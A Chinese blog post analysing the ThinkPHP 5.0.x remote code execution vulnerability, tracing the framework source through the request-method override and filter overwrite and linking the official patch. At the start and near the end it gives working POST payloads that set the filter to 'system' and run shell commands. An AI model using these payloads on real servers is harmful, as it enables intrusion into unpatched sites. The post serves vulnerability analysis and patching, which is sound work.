Chybeta

ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析

2019年1月11日,ThinkPHP官方发布安全更新,修复了一个GETSHELL漏洞。现分析如下。

漏洞复现

以 thinkphp 5.0.22 完整版为例,下载地址:http://www.thinkphp.cn/down/1260.html

未开启调试模式。

1
2
3
4
5
http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=captcha
POST:
_method=__construct&filter[]=system&method=get&get[]=whoami

漏洞分析之POC 1

先整体的看一下这个流程,tp程序从 App.php文件开始,其中截取部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**
* 执行应用程序
* @access public
* @param Request $request 请求对象
* @return Response
* @throws Exception
*/
public static function run(Request $request = null)
{
$request = is_null($request) ? Request::instance() : $request;
try {
...
// 获取应用调度信息
$dispatch = self::$dispatch;
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
...
$data = self::exec($dispatch, $config);
} catch (HttpResponseException $exception) {
...
}
...
}

App.php中,会根据请求的URL调用routeCheck进行调度解析获得到$dispatch,之后将进入exec($dispatch, $config)根据$dispatch类型的不同来进行处理。

在payload中,访问的url为index.php?s=captcha。在vendor/topthink/think-captcha/src/helper.php中captcha注册了路由,

因此其对应的dispatchmethod

一步步跟入,其调用栈如下:

通过调用Request类中的method方法来获取当前的http请求类型,这里顺便贴一下该方法被调用之处:

该函数的实现在 thinkphp/library/think/Request.php:512

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* 当前的请求类型
* @access public
* @param bool $method true 获取原始请求类型
* @return string
*/
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}

在tp的默认中配置中设置了表单请求类型伪装变量如下

因此通过POST一个_method参数,即可进入判断,并执行$this->{$this->method}($_POST)语句。因此通过指定_method即可完成对该类的任意方法的调用,其传入对应的参数即对应的$_POST数组

Request类的构造函数__construct代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}

利用foreach循环,和POST传入数组即可对Request对象的成员属性进行覆盖。其中$this->filter保存着全局过滤规则。经过覆盖,相关变量变为:

1
2
3
4
5
6
$this
method = "get"
get = {array} [0]
0 = dir
filter = {array} [0]
0 = system

注意我们请求的路由是?s=captcha,它对应的注册规则为\think\Route::get。在method方法结束后,返回的$this->method值应为get这样才能不出错,所以payload中有个method=get。在进行完路由检测后,执行self::exec($dispatch, $config),在thinkphp/library/think/App.php:445,由于$dispatch值为method,将会进入如下分支:

1
2
3
4
5
6
7
8
9
10
11
12
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
...
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
...
}
return $data;
}

跟入Request::instance()->param(),该方法用于处理请求中的各种参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
...
}
...
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
...
return $this->input($this->param, $name, $default, $filter);
}

如上方法中$this->param通过array_merge将当前请求参数和URL地址中的参数合并。回忆一下前面已经通过__construct设置了$this->getdir。此后$this->param其值被设置为:

继续跟入$this->input:

1
2
3
4
5
6
7
8
9
10
11
public function input($data = [], $name = '', $default = null, $filter = '')
{
...
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
}
...
}

该方法用于对请求中的数据即接收到的参数进行过滤,而过滤器通过$this->getFilter获得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}

前面$this->filter已经被设置为system,所以getFilter返回后$filter值为:

回到input函数,由于$data是前面传入的$this->param即数组,所以接着会调用array_walk_recursive($data, [$this, 'filterValue'], $filter),对$data中的每一个值调用filterValue函数,最终调用了call_user_func执行代码:

扩展之POC 2

回想前面的调用链,param -> method -> input -> getFilter -> rce。因为filter可控,而tp的逻辑会对输入即input进行filter过滤,所以重点是找到一个合理的input入口。

回到param方法:

1
2
3
4
5
6
7
8
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
...
}
...
}

跟入$this->method(true)注意此时的参数为true,所以此处会进入第一个分支:

1
2
3
4
5
6
7
8
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
}
...
}

继续跟入$this->server,可以发现这里也有一个input!

1
2
3
4
5
6
7
8
9
10
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}

所以对input方法而言,其$data$this->server数组,其参数name值为REQUEST_METHOD,在input方法源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function input($data = [], $name = '', $default = null, $filter = '')
{
...
$name = (string) $name;
if ('' != $name) {
...
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
...
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
}
...
}

因此利用前面的__construct,可以通过传入server[REQUEST_METHOD]=dir,使得在经过foreach循环时置$data值为dir,此后调用getFilter,同样实现RCE:

给出payload:

1
2
3
4
5
http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=captcha
POST:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

补丁分析

补丁地址:https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003

问题的根源在于请求方法的获取接收了不可信数据,因此补丁中设置了白名单,如下

其他

这里仅仅测试了5.0.22 完整版本。各个版本之间代码有些许差异,payload不一定通用,建议自己调试调试。

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析

文章作者:chybeta

发布时间:2019年01月13日 - 09:01

最后更新:2019年01月13日 - 23:01

原始链接:http://chybeta.github.io/2019/01/13/ThinkPHP-5-0-0-5-0-23-RCE-漏洞分析/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。